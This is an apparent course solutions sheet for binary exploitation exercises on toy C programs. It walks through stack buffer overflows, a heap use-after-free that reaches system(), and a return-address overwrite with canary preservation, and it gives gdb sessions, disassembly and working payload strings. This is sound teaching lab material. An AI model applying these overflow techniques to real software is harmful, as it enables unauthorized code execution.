3. Solutions

ASI36

2018

1 Basics (basics.c)

Assuming this program has been compiled to an executable named p.

1.1 Question 1

This program may have both expected and unexpected behaviors

The expected behaviors are:

1. Printing "Usage: p num1 num2" and exiting due to not enough arguments.

   This can be triggered with the following input `p 1`

2. Printing "You lose"

   Whenever `x == 0`, this will happen. If you only look at the syntactic level, this should be always, since there is no assignment to x. This is however not the case as we will see below.

   `p 1 2` will exhibit this behavior

Other behaviors that are "kind of" unexpected are the following:

1. Printing "You win".

   To print this message, one needs to overwrite the value of the local x with something other than 0. Looking at the assembly (`objdump -d -M intel p`), we have the following initialization sequence :

```
59d:        c6 45 e3 00                  mov    BYTE PTR [ebp-0x1d],0x0   ; x
5a1:        c7 45 db 00 00 00 00         mov    DWORD PTR [ebp-0x25],0x0  ; t[0-3]
5a8:        c7 45 df 00 00 00 00         mov    DWORD PTR [ebp-0x21],0x0  ; t[4-7]
```

   So t ends at `ebp - 0x21 + 0x4` and x is located at `ebp - 0x1d`. So there is a no gap between the end of t and x. If we can write 9 bytes from the start of t, we might rewrite x as well.

   The number of writes is controlled through `argv[2]`; what we write by `argv[1]`. We want to write something other than 0 (say 1).

   For example, `p 1 8` does that (`p 11 2222` as well).

2. Looping forever

3. crash

   The two behaviors below come from the same problem. It is also possible to overwrite `i`. On my machine it is at `ebp - 0x1c`, right above `x` on the stack — you can locate by putting a value at initialization in it if you wish.

   If you run `p 1 25` (whatever value greater than 9 instead of 25 and whatever value in [0..8] instead of 1 does it). You will loop forever. You can observe it in gdb

```
break main
watch i
continue
```

   You will see the value of `i` loop until `9` then come back to 2 since `t[10]` points to `i` and rewrites it with `1` in our case. Then it is incremented back to 2.

Now if the value you put instead of `1` does not make the index `i` come back to a range between [0..8] then you can either win – if you exit the loop with a value other than 0 for `x`, or provoke a segmentation fault if you jump above `x` and continue overwriting after `i`.

The former is achieved for example by `p 11 12`, the latter `p 14 68`. You may even print you win then provoke a segmentation fault: `p 14 50` does that.

1.2 Question 2

All the expected behaviors are still observable but not the others.

There are two reasons:

1. The order of the locals has been changed: the buffer is now above `x` and `i` and thus cannot change them anymore, e.g., to print "You win" or loop.

2. Only the potential of 3 remains but is replaced by the message whenever you overwrite the bounds of the stack frame.

```
*** stack smashing detected ***: <unknown> terminated
```

   The initialization is now:

```
61c:    8b 50 04                 mov    edx,DWORD PTR [eax+0x4]
61f:    89 55 d4                 mov    DWORD PTR [ebp-0x2c],edx
622:    65 8b 0d 14 00 00 00     mov    ecx,DWORD PTR gs:0x14   ; canary
629:    89 4d f4                 mov    DWORD PTR [ebp-0xc],ecx
62c:    31 c9                    xor    ecx,ecx
62e:    c6 45 e7 00              mov    BYTE PTR [ebp-0x19],0x0 ;x
632:    c7 45 ec 00 00 00 00     mov    DWORD PTR [ebp-0x14],0x0 ; t[0-3]
639:    c7 45 f0 00 00 00 00     mov    DWORD PTR [ebp-0x10],0x0 ; t[4-7]
640:    c6 45 ec 30              mov    BYTE PTR [ebp-0x14],0x30
644:    c7 45 e8 01 00 00 00     mov    DWORD PTR [ebp-0x18],0x1; i
```

2 Take the heap (`h.c`)

The program has a potential vulnerability on the heap, since `p` and `p3` are both dynamically allocated. `f` seems to correctly check against `strcpy` manipulation but the real problem lies the handling of `p3`.

Now let's try to examine what happens right before the `scanf`. Any entry triggering `free(p)` suffices. For example `AAAABBBBCCCCDDDD` as `argv[1]` is long enough.

```
p p
p p3
```

If you add a break at the `scanf` and enter the two lines above, you will see that `p` and `p3` points to the same address: `malloc` has reused the freed space. It means that `system(p)` will execute whatever you enter. So now if you enter, say `fortune` or `sh`, you will execute this program.

3 Format-string exploitation (`fmt.c`)

This exercise is explained in the book "Hacking: the Art of Software Exploitation" in the relevant section about format string exploitation.

4 Exploiting reverse engineering (`bof`)

This solution does not work on the first binary provided. You need to download the archive again as well to follow this solution.

Beware: this solution uses `AT&T` syntax. The addresses you need to use might vary, but the principles should stay the same.

4.1 Pre-analysis

The goal of the exercise is to execute the functions `win` or `superwin`. Let's see where they are located.

```
nm bof.bin | grep win
```

```
000005ad T superwin
000005d8 T uwin
```

Our overall objective is to find something a buffer overflow to exploit, since this is the technique we have been using since the beginning.

Let's execute the binary to get a feel for its behavior.

```
./bof.bin 42
```

```
b = ffffcf28, v = ffffcf38, canary = ffffcf3c
b = 42, v = 12, canary = 41414141
Executing 42
```

A certain amount of information is leaked regarding the addresses of variables `b`, `v` and `canary`. We can see that they are right next to each other in the stack. There are 16 bytes between `b` and `v`, and 4 bytes between `v` and `canary`. You can play around to see how this binary behaves with other inputs.

The usual suspects when trying to locate a potential buffer overflow site are the read and copy functions, e.g., `strcpy`. Here is where it is used in this binary

```
objdump -d bof.bin | grep strcpy | grep call
```

```
65b:        e8 c0 fd ff ff              call    420 <strcpy@plt>
```

We can see that it is inside the `foo` function. Here is the full disassembled code.

```
gdb -batch -ex 'file bof.bin' -ex 'disassemble foo'
```

```
Dump of assembler code for function foo:
   0x00000631 <+0>:        push   %ebp
   0x00000632 <+1>:        mov    %esp,%ebp
   0x00000634 <+3>:        push   %ebx
   0x00000635 <+4>:        sub    $0x24,%esp
   0x00000638 <+7>:        call   0x4b0 <__x86.get_pc_thunk.bx>
   0x0000063d <+12>:        add    $0x19c3,%ebx
   0x00000643 <+18>:        movl   $0x41414141,-0xc(%ebp)
   0x0000064a <+25>:        movl   $0xc,-0x10(%ebp)
   0x00000651 <+32>:        sub    $0x8,%esp
   0x00000654 <+35>:        pushl  0x8(%ebp)
   0x00000657 <+38>:        lea    -0x20(%ebp),%eax
   0x0000065a <+41>:        push   %eax
   0x0000065b <+42>:        call   0x420 <strcpy@plt>
   0x00000660 <+47>:        add    $0x10,%esp
   0x00000663 <+50>:        lea    -0xc(%ebp),%eax
   0x00000666 <+53>:        push   %eax
   0x00000667 <+54>:        lea    -0x10(%ebp),%eax
   0x0000066a <+57>:        push   %eax
   0x0000066b <+58>:        lea    -0x20(%ebp),%eax
   0x0000066e <+61>:        push   %eax
   0x0000066f <+62>:        lea    -0x181c(%ebx),%eax
   0x00000675 <+68>:        push   %eax
   0x00000676 <+69>:        call   0x410 <printf@plt>
   0x0000067b <+74>:        add    $0x10,%esp
   0x0000067e <+77>:        mov    -0xc(%ebp),%edx
   0x00000681 <+80>:        mov    -0x10(%ebp),%eax
   0x00000684 <+83>:        push   %edx
   0x00000685 <+84>:        push   %eax
   0x00000686 <+85>:        lea    -0x20(%ebp),%eax
   0x00000689 <+88>:        push   %eax
   0x0000068a <+89>:        lea    -0x17ff(%ebx),%eax
   0x00000690 <+95>:        push   %eax
   0x00000691 <+96>:        call   0x410 <printf@plt>
   0x00000696 <+101>:        add    $0x10,%esp
   0x00000699 <+104>:        mov    -0xc(%ebp),%eax
   0x0000069c <+107>:        cmp    $0x41414141,%eax
   0x000006a1 <+112>:        je     0x6a8 <foo+119>
   0x000006a3 <+114>:        call   0x603 <terminate>
   0x000006a8 <+119>:        sub    $0x8,%esp
   0x000006ab <+122>:        pushl  0x8(%ebp)
   0x000006ae <+125>:        lea    -0x17e2(%ebx),%eax
   0x000006b4 <+131>:        push   %eax
   0x000006b5 <+132>:        call   0x410 <printf@plt>
   0x000006ba <+137>:        add    $0x10,%esp
   0x000006bd <+140>:        mov    -0x10(%ebp),%eax
   0x000006c0 <+143>:        cmp    $0xc,%eax
   0x000006c3 <+146>:        je     0x6ca <foo+153>
   0x000006c5 <+148>:        call   0x5d8 <uwin>
   0x000006ca <+153>:        mov    $0x1,%eax
   0x000006cf <+158>:        mov    -0x4(%ebp),%ebx
   0x000006d2 <+161>:        leave
   0x000006d3 <+162>:        ret
End of assembler dump.
```

The following 2 lines initializes local variables to 1 and 12. This seems to be the value of `canary` and `v` respectively.

```
0x00000643 <+18>:        movl   $0x41414141,-0xc(%ebp)
0x0000064a <+25>:        movl   $0xc,-0x10(%ebp)
```

Right after, there is a call to `strcpy`, where we push in sequence a variable with a positive offset from `ebp` (hence an argument to `foo`) and a local variable (`b`?)

```
0x00000654 <+35>:        pushl  0x8(%ebp)
0x00000657 <+38>:        lea    -0x20(%ebp),%eax
0x0000065a <+41>:        push   %eax
0x0000065b <+42>:        call   0x420 <strcpy@plt>
```

Let's track down where this first argument `0x8(%ebp)` comes from.

```
gdb -batch -ex 'file bof.bin' -ex 'disassemble main'
```

```
Dump of assembler code for function main:
   0x000006d4 <+0>:        lea    0x4(%esp),%ecx
   0x000006d8 <+4>:        and    $0xfffffff0,%esp
   0x000006db <+7>:        pushl  -0x4(%ecx)
   0x000006de <+10>:        push   %ebp
   0x000006df <+11>:        mov    %esp,%ebp
   0x000006e1 <+13>:        push   %ecx
   0x000006e2 <+14>:        sub    $0x4,%esp
   0x000006e5 <+17>:        call   0x717 <__x86.get_pc_thunk.ax>
   0x000006ea <+22>:        add    $0x1916,%eax
   0x000006ef <+27>:        mov    %ecx,%eax
   0x000006f1 <+29>:        cmpl   $0x1,(%eax)
   0x000006f4 <+32>:        jle    0x70a <main+54>
   0x000006f6 <+34>:        mov    0x4(%eax),%eax
   0x000006f9 <+37>:        add    $0x4,%eax
   0x000006fc <+40>:        mov    (%eax),%eax
   0x000006fe <+42>:        sub    $0xc,%esp
   0x00000701 <+45>:        push   %eax
   0x00000702 <+46>:        call   0x631 <foo>
   0x00000707 <+51>:        add    $0x10,%esp
   0x0000070a <+54>:        mov    $0x0,%eax
   0x0000070f <+59>:        mov    -0x4(%ebp),%ecx
   0x00000712 <+62>:        leave
   0x00000713 <+63>:        lea    -0x4(%ecx),%esp
   0x00000716 <+66>:        ret
End of assembler dump.
```

Basically tracking dependencies from `lea 0x4(%esp),%ecx` to `mov 0x4(%eax),%eax`, we can see that `eax` contains a pointer to a variable to the `main` function + `0x4` (at `0x704`) (it is possibly `argv + 1`).

So now, we might hope from `argv[1]` to overflow `b` in `foo` and rewrites whatever needs to be rewritten. For that, `b` needs to be at least 16 bytes long (size of `b`).

4.2 Question 1

So now we want to execute `uwin`. There seems to be 2 solutions:

- either overflow in `foo` and rewrite the return address to `uwin` – this is not what we are going to do
- or reach the `uwin` call inside `foo`.

  The second solution seems rather straightforward. Right before calling `uwin`, there is this sequence:

  ```
  0x000006ba <+137>:        add    $0x10,%esp
  0x000006bd <+140>:        mov    -0x10(%ebp),%eax
  0x000006c0 <+143>:        cmp    $0xc,%eax
  0x000006c3 <+146>:        je     0x6ca <foo+153>
  0x000006c5 <+148>:        call   0x5d8 <uwin>
  ```

  if `eax` is `0xc` (i.e., 12), then we jump otherwise we call `uwin`. And `eax` is `ebp - 16`, that is `v`. So if `v` is not 12, we win.

We can check that `v` is not reassigned between its initialization and the comparison, so it is enough to rewrite it with `strcpy`. For that we need `b` to be 17 bytes long for example.

So executing

```
./bof.bin AAAABBBBCCCCDDDDE
```

```
b = ffffcf18, v = ffffcf28, canary = ffffcf2c
b = AAAABBBBCCCCDDDDE, v = 69, canary = 41414141
Executing AAAABBBBCCCCDDDDE
Poor old puddy tat ...
```

You can check with `gdb` that it indeed executed `uwin`.

4.3 Question 2

Now we need to execute `superwin`. The Let's open `gdb`

```
 b foo
 run 42
 si
 si
 finish
 x/16xw $esp
0xffffce80:     0xffffffff      0xffffd127      0xf7dc6138      0xf7f8c000
0xffffce90:     0xf7ffc9e0      0xf7f87e28      0x0000000c      0x41414141
0xffffcea0:     0xf7f87e28      0x56557000      0xffffcec8      0x56555726
0xffffceb0:     0xffffd17e      0xffffcf74      0xffffcf80      0x56555761
```

`0x56555726` is the return address (check it the address of the instruction right after `call foo` in the disassembly of the `main` function). So it's 4 words after `canary`.

If I rewrite the `canary` variable with anything other than its value, then it will terminate the program. So we will need to rewrite it with the same value (i.e. `0x41414141`). `superwin` is at `0x5655561d` (`p superwin` to see where it is in your run).

So we construct our entry, like so:

```
run  $(python2 -c 'print "AAAABBBBCCCCDDDDEEEEAAAABBBBCCCCDDDD\x1d\x56\x55\x56"')
```

You should have printed `"Vilain Rominet !!"` right before terminating the program.

4.4 Question 3

Now we need to call `superwin` twice. Let's inspect its structure in more details.

```
gdb -batch -ex 'file bof.bin' -ex 'disassemble superwin'
```

```
Dump of assembler code for function superwin:
   0x000005ad <+0>:     push   %ebp
   0x000005ae <+1>:     mov    %esp,%ebp
   0x000005b0 <+3>:     push   %ebx
   0x000005b1 <+4>:     sub    $0x4,%esp
   0x000005b4 <+7>:     call   0x717 <__x86.get_pc_thunk.ax>
   0x000005b9 <+12>:    add    $0x1a47,%eax
   0x000005be <+17>:    sub    $0xc,%esp
   0x000005c1 <+20>:    lea    -0x1860(%eax),%edx
   0x000005c7 <+26>:    push   %edx
   0x000005c8 <+27>:    mov    %eax,%ebx
   0x000005ca <+29>:    call   0x430 <puts@plt>
   0x000005cf <+34>:    add    $0x10,%esp
```

```
   0x000005d2 <+37>:        nop
   0x000005d3 <+38>:        mov    -0x4(%ebp),%ebx
   0x000005d6 <+41>:        leave
   0x000005d7 <+42>:        ret
End of assembler dump.
```

`superwin` has no apparent arguments. So it suffices to prepare its return address with itself, like so:

```
run   $(python2 -c 'print "AAAABBBBCCCCDDDDEEEEAAAABBBBCCCCDDDD\x1d\x56\x55\x56\x1d\x56\x55\x56"')
```

"Vilain Rominet" is now printed twice.

4.5 Discussion

If we need to achieve the same effect you could also point the return address of `foo` to an address in the buffer `b`, containing instructions to do the same as `superwin`.

The "byte" code for `superwin` is:

```
(gdb) x/7xw superwin
0x5655561d <superwin>:        0x83e58955        0xec8308ec        0x57c0680c        0xd0e85655
0x5655562d <superwin+16>:        0x83a18cb1        0xc99010c4        0xe58955c3
```

It's nice since there are no "00" bytes. You can also just call puts twice with the address of the string, as in `superwin`.

```
0x56555626 <+9>:        push   $0x565557c0
0x5655562b <+14>:        call   0xf7e20800 <puts>
```

```
(gdb) x/s 0x565557c0
0x565557c0:        "Vilain Rominet !!"
```

In effect you are constructing the basics of a shellcode.